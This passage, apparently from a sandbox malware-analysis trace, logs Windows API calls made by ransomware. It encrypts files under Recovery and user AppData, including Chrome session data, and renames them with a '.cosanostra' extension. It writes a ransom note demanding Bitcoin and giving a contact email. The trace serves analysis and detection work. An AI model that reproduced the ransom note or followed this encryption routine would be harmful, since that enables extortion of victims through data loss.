pbBuffer=0x26ffc40) returned 1 [0082.312] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc38*=0x30) returned 1 [0082.312] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.312] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc40 | out: pbBuffer=0x26ffc40) returned 1 [0082.312] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc38*=0x30) returned 1 [0082.312] CreateFileW (lpFileName="\\\\?\\C:\\Users\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.312] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc38 | out: pbBuffer=0x26ffc38) returned 1 [0082.312] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc30*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc30*=0x30) returned 1 [0082.312] CreateFileW (lpFileName="\\\\?\\C:\\Users\\." (normalized: "c:\\users\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.313] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\#RECOVERY_FILES#.txt" (normalized: "c:\\recovery\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0082.313] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.313] WriteFile (in: hFile=0x178, lpBuffer=0x26ffad3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x26ffad3*, lpNumberOfBytesWritten=0x26ffc94*=0x1bf, lpOverlapped=0x0) returned 1 [0082.314] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.314] WriteFile (in: hFile=0x178, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffc94, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffc94*=0x2ac, lpOverlapped=0x0) returned 1 [0082.314] CloseHandle (hObject=0x178) returned 1 [0082.314] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\#RECOVERY_FILES#.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0082.315] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.315] WriteFile (in: hFile=0x178, lpBuffer=0x26ffacf*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffc90, lpOverlapped=0x0 | out: lpBuffer=0x26ffacf*, lpNumberOfBytesWritten=0x26ffc90*=0x1bf, lpOverlapped=0x0) returned 1 [0082.315] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.315] WriteFile (in: hFile=0x178, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffc90, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffc90*=0x2ac, lpOverlapped=0x0) returned 1 [0082.316] CloseHandle (hObject=0x178) returned 1 [0082.316] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc30 | out: pbBuffer=0x26ffc30) returned 1 [0082.316] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc28*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc28*=0x30) returned 1 [0082.316] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0082.317] lstrlenW (lpString="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned 62 [0082.317] StrStrW (lpFirst="Winre.wim", lpSrch=".txt") returned 0x0 [0082.317] ReadFile (in: hFile=0x178, lpBuffer=0x2b92e0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffbec, lpOverlapped=0x0 | out: lpBuffer=0x2b92e0*, lpNumberOfBytesRead=0x26ffbec*=0x2800, lpOverlapped=0x0) returned 1 [0082.321] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.321] WriteFile (in: hFile=0x178, lpBuffer=0x2b92e0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffbec, lpOverlapped=0x0 | out: lpBuffer=0x2b92e0*, lpNumberOfBytesWritten=0x26ffbec*=0x2800, lpOverlapped=0x0) returned 1 [0082.322] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.322] WriteFile (in: hFile=0x178, lpBuffer=0x26ffc2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbec, lpOverlapped=0x0 | out: lpBuffer=0x26ffc2c*, lpNumberOfBytesWritten=0x26ffbec*=0x4, lpOverlapped=0x0) returned 1 [0082.324] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbec*=0x30, lpOverlapped=0x0) returned 1 [0082.324] CloseHandle (hObject=0x178) returned 1 [0082.325] wnsprintfW (in: pszDest=0x2fc0048, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.cosanostra") returned 73 [0082.325] MoveFileW (lpExistingFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), lpNewFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.cosanostra" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim.cosanostra")) returned 1 [0082.326] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc28 | out: pbBuffer=0x26ffc28) returned 1 [0082.326] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc20*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc20*=0x30) returned 1 [0082.326] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0082.327] lstrlenW (lpString="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned 61 [0082.327] StrStrW (lpFirst="boot.sdi", lpSrch=".txt") returned 0x0 [0082.327] ReadFile (in: hFile=0x178, lpBuffer=0x2b92e0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x2b92e0*, lpNumberOfBytesRead=0x26ffbe4*=0x2800, lpOverlapped=0x0) returned 1 [0082.328] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.328] WriteFile (in: hFile=0x178, lpBuffer=0x2b92e0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x2b92e0*, lpNumberOfBytesWritten=0x26ffbe4*=0x2800, lpOverlapped=0x0) returned 1 [0082.329] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.329] WriteFile (in: hFile=0x178, lpBuffer=0x26ffc24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x26ffc24*, lpNumberOfBytesWritten=0x26ffbe4*=0x4, lpOverlapped=0x0) returned 1 [0082.330] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbe4*=0x30, lpOverlapped=0x0) returned 1 [0082.330] CloseHandle (hObject=0x178) returned 1 [0082.331] wnsprintfW (in: pszDest=0x2fc0048, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.cosanostra") returned 72 [0082.331] MoveFileW (lpExistingFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), lpNewFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.cosanostra" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.cosanostra")) returned 1 [0082.423] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc28 | out: pbBuffer=0x26ffc28) returned 1 [0082.423] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc20*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc20*=0x30) returned 1 [0082.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0082.426] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 74 [0082.426] StrStrW (lpFirst="ACECache11.lst", lpSrch=".txt") returned 0x0 [0082.427] ReadFile (in: hFile=0xbc, lpBuffer=0x229f48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesRead=0x26ffbe4*=0x49c, lpOverlapped=0x0) returned 1 [0082.954] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xfffffb64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.955] WriteFile (in: hFile=0xbc, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x49c, lpNumberOfBytesWritten=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffbe4*=0x49c, lpOverlapped=0x0) returned 1 [0082.956] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.956] WriteFile (in: hFile=0xbc, lpBuffer=0x26ffc24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x26ffc24*, lpNumberOfBytesWritten=0x26ffbe4*=0x4, lpOverlapped=0x0) returned 1 [0082.956] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbe4*=0x30, lpOverlapped=0x0) returned 1 [0082.956] CloseHandle (hObject=0xbc) returned 1 [0082.957] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.cosanostra") returned 85 [0082.957] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst.cosanostra")) returned 1 [0082.958] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc20 | out: pbBuffer=0x26ffc20) returned 1 [0082.958] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc18*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc18*=0x30) returned 1 [0082.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0083.909] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 164 [0083.909] StrStrW (lpFirst="GoogleUpdateSetup.exe", lpSrch=".txt") returned 0x0 [0083.910] ReadFile (in: hFile=0x16c, lpBuffer=0x2f4ea0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesRead=0x26ffbdc*=0x2800, lpOverlapped=0x0) returned 1 [0083.995] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.995] WriteFile (in: hFile=0x16c, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffbdc*=0x2800, lpOverlapped=0x0) returned 1 [0083.995] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.996] WriteFile (in: hFile=0x16c, lpBuffer=0x26ffc1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x26ffc1c*, lpNumberOfBytesWritten=0x26ffbdc*=0x4, lpOverlapped=0x0) returned 1 [0084.096] WriteFile (in: hFile=0x16c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbdc*=0x30, lpOverlapped=0x0) returned 1 [0084.096] CloseHandle (hObject=0x16c) returned 1 [0084.097] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe.cosanostra") returned 175 [0084.097] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe.cosanostra")) returned 1 [0084.097] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc20 | out: pbBuffer=0x26ffc20) returned 1 [0084.097] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc18*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc18*=0x30) returned 1 [0084.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0084.098] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 92 [0084.098] StrStrW (lpFirst="Current Tabs", lpSrch=".txt") returned 0x0 [0084.098] ReadFile (in: hFile=0x16c, lpBuffer=0x2f4ea0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesRead=0x26ffbdc*=0x126, lpOverlapped=0x0) returned 1 [0084.099] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffeda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.099] WriteFile (in: hFile=0x16c, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffbdc*=0x126, lpOverlapped=0x0) returned 1 [0084.099] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.099] WriteFile (in: hFile=0x16c, lpBuffer=0x26ffc1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x26ffc1c*, lpNumberOfBytesWritten=0x26ffbdc*=0x4, lpOverlapped=0x0) returned 1 [0084.099] WriteFile (in: hFile=0x16c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbdc*=0x30, lpOverlapped=0x0) returned 1 [0084.099] CloseHandle (hObject=0x16c) returned 1 [0084.099] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.cosanostra") returned 103 [0084.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs.cosanostra")) returned 1 [0084.100] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc18 | out: pbBuffer=0x26ffc18) returned 1 [0084.100] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc10*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc10*=0x30) returned 1 [0084.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0084.101] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 95 [0084.101] StrStrW (lpFirst="Current Session", lpSrch=".txt") returned 0x0 [0084.101] ReadFile (in: hFile=0x16c, lpBuffer=0x2f4ea0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesRead=0x26ffbd4*=0x1d6, lpOverlapped=0x0) returned 1 [0084.101] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffe2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.102] WriteFile (in: hFile=0x16c, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x1d6, lpNumberOfBytesWritten=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffbd4*=0x1d6, lpOverlapped=0x0) returned 1 [0084.102] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.102] WriteFile (in: hFile=0x16c, lpBuffer=0x26ffc14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x26ffc14*, lpNumberOfBytesWritten=0x26ffbd4*=0x4, lpOverlapped=0x0) returned 1 [0084.102] WriteFile (in: hFile=0x16c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbd4*=0x30, lpOverlapped=0x0) returned 1 [0084.102] CloseHandle (hObject=0x16c) returned 1 [0084.102] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.cosanostra") returned 106 [0084.102] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 